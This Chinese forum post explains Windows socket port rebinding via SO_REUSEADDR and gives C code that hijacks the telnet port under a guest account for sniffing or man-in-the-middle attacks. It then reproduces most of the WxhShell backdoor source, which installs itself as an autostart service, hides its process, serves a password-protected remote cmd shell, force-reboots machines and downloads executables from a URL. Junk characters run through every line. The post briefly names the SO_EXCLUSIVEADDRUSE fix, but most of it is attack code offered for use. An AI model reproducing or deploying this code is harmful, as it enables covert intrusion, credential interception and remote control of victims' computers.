在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Z;<:=# s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
{/j gB"9 s:k?-u@ saddr.sin_family = AF_INET;
JZdRAL2#v 43 vF(<r&f saddr.sin_addr.s_addr = htonl(INADDR_ANY);
k!ID %:s+5*SKe bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
dS8ydG2 b"aF-,M> 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
+T&YYO8>5 eBH:_Ls_-^ 这意味着什么?意味着可以进行如下的攻击:
DaQ+XUH? kY?tUpM!TB 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
'?jsH+j+ >8ryA$ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
F$-f j "jC ;\v&4+3S 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
&b`'RZe GM8Q#vc 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
02tt.0go
wz)s 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
XG*> yra` DZ @B9<Zz{ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
c4u/tt.) ==
E8^jYJw 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
BT&R:_: :tbgX;tCs5 #include
D;s%cL` #include
*;)O'| #include
s1E 0atT #include
I(Qz%/ Ox DWORD WINAPI ClientThread(LPVOID lpParam);
zrqI^i"c int main()
">G*hS {
Z.&/,UU:4 WORD wVersionRequested;
.^M#BAt2 DWORD ret;
:._Igjj$= WSADATA wsaData;
4#}aLP BOOL val;
(6B; SOCKADDR_IN saddr;
ht*(@MCr< SOCKADDR_IN scaddr;
J;NIa[a int err;
PJ;WNo8 SOCKET s;
HHZw-/s,% SOCKET sc;
!(7m/R int caddsize;
V'e%%&g~N HANDLE mt;
$cK}Tlq DWORD tid;
m5iCvOP wVersionRequested = MAKEWORD( 2, 2 );
[.^ol6 err = WSAStartup( wVersionRequested, &wsaData );
#2s}s<Sc; if ( err != 0 ) {
.hu7JM+ printf("error!WSAStartup failed!\n");
pHoHngyi& return -1;
1Xo0(*O }
o5p{ O>D[z saddr.sin_family = AF_INET;
F{;#\Ob \wD/TLS} //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
+Eh.PWEe jan}}7Dly saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
1$eoW/8. saddr.sin_port = htons(23);
]}PXN1( if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:P}3cl_ {
[:.wCG5 printf("error!socket failed!\n");
_,!0_\+i return -1;
zwZvKV/g }
{h|<qfH val = TRUE;
W]#w4Fp! //SO_REUSEADDR选项就是可以实现端口重绑定的
Bkd$'7UT if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
2=- .@,6 {
tu<<pR> printf("error!setsockopt failed!\n");
=X?fA, return -1;
lwq:0Rj@Q }
2PYn zAsl //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
pe
vXixl //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
QZ l#^-on //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
UP^8Yhdo o[cOL^Xd1 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
TG}owG]] {
z^U+oG ret=GetLastError();
q4[8\Ua printf("error!bind failed!\n");
z
)'9[t return -1;
v']_) }
{lWV H listen(s,2);
v1 8<~ while(1)
$KbZ4bB[Bo {
-y-}g[` caddsize = sizeof(scaddr);
_K9`o^g%PJ //接受连接请求
).;{'8Q sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
x|a&wC2,{ if(sc!=INVALID_SOCKET)
FL'}~il {
y017
B<Ou mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
AOZ C D{ if(mt==NULL)
UE'=9{o` {
u9"yU:1keb printf("Thread Creat Failed!\n");
o6MFMA+vi break;
`.MZ,Xhqi" }
rNq*z, }
0~fjY^( CloseHandle(mt);
ZU`9]7"87B }
4CF;>b
f~ closesocket(s);
!G-+O#W` WSACleanup();
D6Ad"|Z return 0;
D!~ Y"4< }
RqTO3Kf DWORD WINAPI ClientThread(LPVOID lpParam)
:EV.nD7 {
H7X-\K 1w SOCKET ss = (SOCKET)lpParam;
J
_O5^=BP SOCKET sc;
JJd qdX; unsigned char buf[4096];
%XGm\p SOCKADDR_IN saddr;
Q]K` p( long num;
PT2;%=f DWORD val;
RE;A0E_3 DWORD ret;
J,?#O#j //如果是隐藏端口应用的话,可以在此处加一些判断
PyQ.B*JJ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
@PvO;]]% saddr.sin_family = AF_INET;
G]>yk_#/\U saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
|Mq+QDTTw~ saddr.sin_port = htons(23);
!kE5]<H\ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
eB5>uKa {
Bz ;r<Kn printf("error!socket failed!\n");
Xfc$M(a
K{ return -1;
H.ZIRt!RB }
M1kA- Xr val = 100;
<c}@lj-j if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Wi&v?nm {
:oIBJ u%/ ret = GetLastError();
X+;[Gc}(W return -1;
>_?i)%+) }
W"Ip]LJ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
bCw{9El!K4 {
kG>jb!e@( ret = GetLastError();
sC-o'13 return -1;
dVb6u }
}emUpju<C if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
AY/.vyS {
!2|Lb'O printf("error!socket connect failed!\n");
L"bJ#0m closesocket(sc);
~ n]5iGz closesocket(ss);
LE8<JMB return -1;
aS [[
AL }
'3l TI while(1)
$f
=`fPo {
~71U s //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
;_cTrjMv\ //如果是嗅探内容的话,可以再此处进行内容分析和记录
c<$<n //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
[bh?p+V num = recv(ss,buf,4096,0);
U?0|2hR~ if(num>0)
P~\rP6
; send(sc,buf,num,0);
k+h}HCzE else if(num==0)
H a!,9{T break;
*$eH3nn6g num = recv(sc,buf,4096,0);
Ugri _ if(num>0)
kd'b_D[$H send(ss,buf,num,0);
-$Fj-pO\ else if(num==0)
<&E}db break;
(e7!p=D }
GY$Rkg6d closesocket(ss);
IBT>&(cnV closesocket(sc);
J>_mDcPo return 0 ;
W22S/s }
F1yn@a "=J 9+1{a.JO X?_rD'3 ==========================================================
{"wF;*U.V .\XRkr'- 下边附上一个代码,,WXhSHELL
Ux_tzd0!
`PUqz& ==========================================================
bsQ'kBD E/:U,u{ #include "stdafx.h"
lju5+0BSb )O[8 D #include <stdio.h>
@8W@I| #include <string.h>
6Ryc&z5 #include <windows.h>
lD0p=`. #include <winsock2.h>
|P5dv>tb
F #include <winsvc.h>
r8m}B#W7 #include <urlmon.h>
;?Pz0,{h Al
yJ!f"Y #pragma comment (lib, "Ws2_32.lib")
Km5_P## #pragma comment (lib, "urlmon.lib")
85E$m'0O v^&HZk=( #define MAX_USER 100 // 最大客户端连接数
Z 8w\[AF{$ #define BUF_SOCK 200 // sock buffer
c^W;p2^ #define KEY_BUFF 255 // 输入 buffer
$1 ])>m_ct li*S^uSF #define REBOOT 0 // 重启
Q6(~VvC- #define SHUTDOWN 1 // 关机
gN/!w: =CQfs6np:N #define DEF_PORT 5000 // 监听端口
V6merT79 vsI;ooR> #define REG_LEN 16 // 注册表键长度
:a*>PMTn #define SVC_LEN 80 // NT服务名长度
J`5VE$2M u(Mbp$R'? // 从dll定义API
:-x?g2MY typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
od!44p] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
"r6qFxY typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
DGJ:#UE typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Xq1#rK( 1:eWZ]B5" // wxhshell配置信息
O8Mypv/C struct WSCFG {
XGZZKvp int ws_port; // 监听端口
;W{z"L;nX char ws_passstr[REG_LEN]; // 口令
@JSWqi> int ws_autoins; // 安装标记, 1=yes 0=no
*A9v8$ char ws_regname[REG_LEN]; // 注册表键名
8J,^O04< char ws_svcname[REG_LEN]; // 服务名
0j$=KA char ws_svcdisp[SVC_LEN]; // 服务显示名
bm;iX*~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
'N{1b_v? char ws_passmsg[SVC_LEN]; // 密码输入提示信息
pqg2#@F. int ws_downexe; // 下载执行标记, 1=yes 0=no
$l,U) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
KLe6V+ki* char ws_filenam[SVC_LEN]; // 下载后保存的文件名
MQ =x:p{ jO"/5x26 };
g(P7CX+y 1
k!gR // default Wxhshell configuration
/,:cbpHsu struct WSCFG wscfg={DEF_PORT,
U,b80%k: "xuhuanlingzhe",
Z(:\Vj" 1,
{ZUk!o>m@ "Wxhshell",
rE*yT(:w "Wxhshell",
,GWa3.&.d "WxhShell Service",
0^{Tq0Ri[ "Wrsky Windows CmdShell Service",
B)/&xQu "Please Input Your Password: ",
/;_$:`|/ 1,
j &[lDlI_ "
http://www.wrsky.com/wxhshell.exe",
K;/f?3q "Wxhshell.exe"
J*g<]P&p0 };
T72Li"00 ^Ip\`2^u // 消息定义模块
Q-,
4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
OY"BaSEOw} char *msg_ws_prompt="\n\r? for help\n\r#>";
fCa
lR7! char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
V,ZRX}O char *msg_ws_ext="\n\rExit.";
}!g$k
$y char *msg_ws_end="\n\rQuit.";
'1!%yKc0 char *msg_ws_boot="\n\rReboot...";
CEk[&39" char *msg_ws_poff="\n\rShutdown...";
U;&s=M0[ char *msg_ws_down="\n\rSave to ";
qUe2(/TQu P,S!Z&! char *msg_ws_err="\n\rErr!";
j.Y!E<e4] char *msg_ws_ok="\n\rOK!";
^N}{M$ `iuQ.I char ExeFile[MAX_PATH];
L_Z`UhD3{ int nUser = 0;
L%7WHtU*# HANDLE handles[MAX_USER];
"`K73M,c?9 int OsIsNt;
]I~BgE;C9 I2{zy|& SERVICE_STATUS serviceStatus;
,vi6<C\ SERVICE_STATUS_HANDLE hServiceStatusHandle;
)$Fw<;4 'e))i#/VF // 函数声明
;XY#Jl>tg int Install(void);
/\jRr7 Cd int Uninstall(void);
wj$3L3 int DownloadFile(char *sURL, SOCKET wsh);
#I yM`YB0 int Boot(int flag);
4>=Y@z void HideProc(void);
H_JT"~_2 int GetOsVer(void);
c1%ki%J# int Wxhshell(SOCKET wsl);
VjSbx'i void TalkWithClient(void *cs);
bxz6
>> int CmdShell(SOCKET sock);
K<ldl. int StartFromService(void);
78z/D|{" int StartWxhshell(LPSTR lpCmdLine);
#"-w;T%b &)Wm rF VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
$>~4RXC VOID WINAPI NTServiceHandler( DWORD fdwControl );
b#e|#!Je #|xj*+)H // 数据结构和表定义
QZ-6aq\sgp SERVICE_TABLE_ENTRY DispatchTable[] =
nRZ T~S4 {
=WOYZ7 {wscfg.ws_svcname, NTServiceMain},
5geZ6]| {NULL, NULL}
cMt
, 80 };
`H;O! ty&d 5#? HL // 自我安装
fl9J int Install(void)
0.Nik^~ {
vn5]+-I char svExeFile[MAX_PATH];
}WkR-5N HKEY key;
o2(*5*b!@e strcpy(svExeFile,ExeFile);
zI>,A|yy 0wl31k{ // 如果是win9x系统,修改注册表设为自启动
$VE =sS. if(!OsIsNt) {
5E|/n( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ZYW=#df R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'r`-J4icX RegCloseKey(key);
Jqi^Z*PuX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
U@?Roenn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
blB00 RegCloseKey(key);
Hb *&& return 0;
8BJ&"y8H }
^RS`q+g }
ddjaM/.E }
{@[z-)N7\, else {
=:=uV0jX\ SfwAMNCe // 如果是NT以上系统,安装为系统服务
aTY\mKk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
}"'l8t0? if (schSCManager!=0)
0l ]K%5# {
vvG#O[| O SC_HANDLE schService = CreateService
J4ltHk.| (
co%ttH\ n schSCManager,
_gF )aE wscfg.ws_svcname,
2^7VDqLc wscfg.ws_svcdisp,
m;nT ?kv SERVICE_ALL_ACCESS,
&<sDbNS SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
+Te;LJP SERVICE_AUTO_START,
qMe$Qr8 SERVICE_ERROR_NORMAL,
<Cw)S8t svExeFile,
e[7n`ka
' NULL,
g k[8' NULL,
y\&`A:^[ A NULL,
8?O6IDeW NULL,
%A dE5HI- NULL
J_A5,K*r| );
_0<EbJ8Z if (schService!=0)
V1j5jjck {
<k&Q"X:" CloseServiceHandle(schService);
+mN]VO*y CloseServiceHandle(schSCManager);
jdGoPa\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
\]W*0t>s strcat(svExeFile,wscfg.ws_svcname);
qffXm`k if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
yb#NB)+E@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
T0ebW
w RegCloseKey(key);
L= fz:H return 0;
RAQi&?Ko }
[s4lSGh }
Bp`?inKBOd CloseServiceHandle(schSCManager);
&!#a^d+` 0 }
fKMbOqU_ }
MGd 7Ont ^xO
CT=V return 1;
/,z4tf }
mpBSd+;Z %W=S*"e- // 自我卸载
V&E)4KBOs int Uninstall(void)
}^;Tt-*k {
+.T&U7xV HKEY key;
wG4=[d 3eqnc),Z if(!OsIsNt) {
z )2h\S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
CxC&+'; RegDeleteValue(key,wscfg.ws_regname);
mVN^X/L(y RegCloseKey(key);
s('<ms if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
j^}p'w Tu{ RegDeleteValue(key,wscfg.ws_regname);
v_PhJKE RegCloseKey(key);
Lf|5miO return 0;
E-_FxBw }
eDR4c% }
cTpAU9|( }
/AX1LYlr else {
_4VF>#b %Uj7g> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
f\FubL if (schSCManager!=0)
A>8uLO G} {
Bkvh]k;F8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
@sRUl
,M;Z if (schService!=0)
mdW8RsR {
2B{~"< if(DeleteService(schService)!=0) {
P)Vm4u
1 CloseServiceHandle(schService);
%Ji@\|Zkf CloseServiceHandle(schSCManager);
M/XxiF return 0;
e#MEDjm/)g }
^fT|Wm< CloseServiceHandle(schService);
sBGYgBu!a }
I6d4<#Q@L CloseServiceHandle(schSCManager);
gz-X4A" }
r]p
0O( }
ZtPq*/' Zb<IZ)i# 1 return 1;
X(nbfh?n }
hce *G@b _zq"<Q c // 从指定url下载文件
&L[7jA'[J int DownloadFile(char *sURL, SOCKET wsh)
@Omgk=6 {
AvF:$kG HRESULT hr;
<<}t&qE%2% char seps[]= "/";
jEwfa_Q% char *token;
bM[!E 8dF char *file;
9Ml^\| char myURL[MAX_PATH];
,;LxFS5\ char myFILE[MAX_PATH];
a[;TUc^I1F X_yAx)Do strcpy(myURL,sURL);
cn1UFmT token=strtok(myURL,seps);
^sz4-+> while(token!=NULL)
-F.A1{l[. {
\ 8v{9Yb file=token;
xxWrSl`fB token=strtok(NULL,seps);
69#D,ME? }
34ij5bko_) 7#K%Bo2pG GetCurrentDirectory(MAX_PATH,myFILE);
=\;yxl strcat(myFILE, "\\");
*k)v#;B strcat(myFILE, file);
]B'Ac%Rx send(wsh,myFILE,strlen(myFILE),0);
DU9A 3Z send(wsh,"...",3,0);
~^#F5w" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
<xOv0B if(hr==S_OK)
\LX!n!@ return 0;
z8W@N8IqC else
2$8#ePyq* return 1;
. C_\xb 3QlV,)} }
Q2[@yRY/z ^6*LuXPv // 系统电源模块
@* a'B=7 int Boot(int flag)
N<bNJD} {
a xT- HANDLE hToken;
c5~d^ TOKEN_PRIVILEGES tkp;
~9#nC`%2j @@$%+XNY if(OsIsNt) {
ZZ 1s}TG OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
'^Kmfc LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
HD"Pz}k4 tkp.PrivilegeCount = 1;
6n9;t\'Gt tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
'M"JF;*r AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
y>+xdD0+ if(flag==REBOOT) {
-]=-IiC# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
yl63VX8w} return 0;
A)I4 `3E }
V,>_L else {
PVBf' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
wFr}]<=Mi return 0;
=\v./Q- }
G/tah@N[7 }
$,+'|_0yM else {
Wj N0KA if(flag==REBOOT) {
*ml&}9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
`_L=~F8 return 0;
**I9Nw!IH }
\L14rQ
t else {
z!09vDB^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
{,r7dxI)` return 0;
h'8w<n+%) }
;bJ2miO"e }
N7lWeF %\=oy=f return 1;
@ucN|r}=R }
mPHn &4 o!Vs{RRu} // win9x进程隐藏模块
6km{=
``` void HideProc(void)
-"L)<J@gQ? {
=m@5$ T7W*S-IW HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Nkfu k if ( hKernel != NULL )
s^_E'j$ {
F\.n42Tz pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
{},rbQ
- ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
amI$0 FreeLibrary(hKernel);
K7&A^$` }
}vOUf#^k WWF#&)ti return;
*"E?n>b }
qlUYu"`i g;(r@>U.r // 获取操作系统版本
v | /IN int GetOsVer(void)
M%7H-^{ {
aE^tc'h~ OSVERSIONINFO winfo;
QjfQoT F winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
K[LTw_oE GetVersionEx(&winfo);
Fi{~UOZg if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
an3HKfv return 1;
z`uqK!v(K else
;_0)f return 0;
+j 5u[X }
JH!qGV1 +P6#7.p`Z // 客户端句柄模块
JbYv < int Wxhshell(SOCKET wsl)
i L1.R+ {
[~)i<V|qJ SOCKET wsh;
8eP2B281 struct sockaddr_in client;
v8Nc quv DWORD myID;
RVfRGc^lK =y7]9SOq while(nUser<MAX_USER)
#&">x7?5 {
?Gl'-tV int nSize=sizeof(client);
-5\aL"?4 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
s<qSelj if(wsh==INVALID_SOCKET) return 1;
|bDN~c:/ 1G|Q~%cv handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
S6H=(l58 if(handles[nUser]==0)
-mZo` closesocket(wsh);
0c1}?$f[?% else
t; n6Q0 nUser++;
<Q=ES,M }
8{Y
?;~G WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
f7X#cs)a k`js~/Xv return 0;
5S7`gN. }
U6X~]| o >4\V/
I // 关闭 socket
]T^m>v)X void CloseIt(SOCKET wsh)
P0Na<)\'Y! {
u7j-uVG closesocket(wsh);
.Z&OKWL nUser--;
>^:g[6Sj ExitThread(0);
[CPZj*|b }
vyV n5s w0SzK-& // 客户端请求句柄
T9Vyj3!i_ void TalkWithClient(void *cs)
Dr`\ {
+nuv?QB/ a\}|ikiE SOCKET wsh=(SOCKET)cs;
46_<v=YSJ char pwd[SVC_LEN];
Tc:W=\ < char cmd[KEY_BUFF];
.ET;wK char chr[1];
8fM}UZI int i,j;
_$ixE~w-! *`}_e)(k while (nUser < MAX_USER) {
(dMFYL>YP A</[Q>8 if(wscfg.ws_passstr) {
A ws#>l< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
oTI*mGR1Z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
pDkT_6Q //ZeroMemory(pwd,KEY_BUFF);
-&)^|Atm i=0;
}0 <x4|= while(i<SVC_LEN) {
e!4akKw4wD ]nX.zE|F // 设置超时
HAO/r`7* fd_set FdRead;
1
9
k$)m struct timeval TimeOut;
@1]<LQ\\ FD_ZERO(&FdRead);
sx]?^KR: FD_SET(wsh,&FdRead);
j%p~.kW5 TimeOut.tv_sec=8;
Dx <IS^>i TimeOut.tv_usec=0;
,o9)ohw int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
6km
u'vw if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
i[\[xfk IN%>46e` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
#Ejly2C, pwd
=chr[0]; K&)a3Z=(.
if(chr[0]==0xd || chr[0]==0xa) { G0Wd"AV+
pwd=0; v,D_^?] @
break; rM?D7a{q
} COHJJONR
i++; l4/TJ%`MG
} vj^UF(X
:.35pp,0
// 如果是非法用户,关闭 socket o[v`Am?v
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O]Kb~jkd
} ~zm/n,Epb
gZ+I(o{
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %'=oMbi>i4
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &R5M&IwL
^m+W
while(1) { i3%~Gc63
T^nX+;:|
ZeroMemory(cmd,KEY_BUFF); gMGg9U$@
L3GJq{t
// 自动支持客户端 telnet标准 GDcV1$NA
j=0; W@ Z=1y
while(j<KEY_BUFF) { ,Tz
,)rY
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?+|tPjg$
cmd[j]=chr[0]; h7y*2:l6
if(chr[0]==0xa || chr[0]==0xd) { 8 6+>|
cmd[j]=0; kdHql>0
break; \6'A^cE/PX
} ]rN fr-
j++; > Qtyw.n
} u!-eP7;7
xsTxc&0^
// 下载文件 /,>.${,;u
if(strstr(cmd,"http://")) { E^YbyJ=1
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^KaMi_--
if(DownloadFile(cmd,wsh)) \1MDCP9:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5&kR1Bp#-
else lET)<V(Y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @TprSd
} -Q@d
else { :I$2[K
2G-?
P"4l@
switch(cmd[0]) { \l2 s^7G_
;MMFF {
// 帮助 C5M-MZaS
case '?': { VM!x)i9z
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5QSmim
break; 2|=_kN8;
} h+W^k+~(
// 安装 %aKkk)s
case 'i': { q"Md)?5N
if(Install()) v wyDY%B"n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 16>uD;G
else p~.@8r(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3XnXQ/({
break; 9C$!tz>>+i
} 9CNHjs+-}s
// 卸载 o.5j@dr
case 'r': { E5(Y*m!
if(Uninstall()) e%U*~{m+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ptR
else ?lK!OyCkc
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wB)+og-^1f
break; JB+pFBeY
} FZ9<Q
// 显示 wxhshell 所在路径 5u46Vl{
case 'p': { #CPP dU$
char svExeFile[MAX_PATH]; i .N1Cvp&
strcpy(svExeFile,"\n\r"); 4l''/$P
strcat(svExeFile,ExeFile); .=yus[,~
send(wsh,svExeFile,strlen(svExeFile),0); HD{`w1vcN
break; tFaE cP
} mx9/K+:
// 重启 skz]@{38
case 'b': { EaD@clJS
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NVeRn
if(Boot(REBOOT)) ~TH5>``;gF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eeU$uR
else { EYxRw
closesocket(wsh); IxZ.2 67
ExitThread(0); Qcy`O
m^2
} X|`,AKJit
break; (AG
} =&pN8PEn\
// 关机 o0G`Xn
case 'd': { Jyci}CU3\Q
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9S%gVNxn
if(Boot(SHUTDOWN)) " ^baiN@ac
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B bw1k
else { kqW<e[
closesocket(wsh); +n[wkgFd
ExitThread(0); '$XHRS/q]
} G}#/`]o!K
break; %Z[/U
} c^Jgr(Ow
// 获取shell 4)HWPX
case 's': { @JEmybu
CmdShell(wsh); L4pjh&+8
closesocket(wsh); M`P]cX)x
ExitThread(0); '[ g)v
break; :{s%=\k {d
} lF8dRIav
// 退出 P%`R7yk
case 'x': { Qf-k&d
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Zng` oFD
CloseIt(wsh); Z4AAg
break; U`9\P2D`/
} DIqT>HHZ
// 离开 NhK(HTsvK
case 'q': { .Spi$>v
send(wsh,msg_ws_end,strlen(msg_ws_end),0); oT)VOkFq
closesocket(wsh); _'hCUXeY'
WSACleanup(); B~;LBgpp
exit(1); @`;Y/',
break; FPMSaN P
} :.S41S
} R;E"Qdt
} \8*,&ak%
^s@*ISY
// 提示信息 an=+6lIl
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }C{}oLz
} ;WS7.
} `,-hG
9{%g-u\
return; ]PzTl {]
} F%.9fUo
7 xp1\j0
// shell模块句柄 0"kE^=
int CmdShell(SOCKET sock)
UJz4>JF
{ 4ljvoJ}xjr
STARTUPINFO si; moVa'1ul
ZeroMemory(&si,sizeof(si)); q3x;_y^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \Qi#'c$5+a
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nrS[7~
PROCESS_INFORMATION ProcessInfo; M8?#%x6;N
char cmdline[]="cmd"; Y-%l7GErhL
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5S\][;u
return 0; 5"}y\
} Z9"{f)T
%89"A'g
// 自身启动模式 =MJ-s;raq
int StartFromService(void) AU\xNF3
{ ycrh5*g
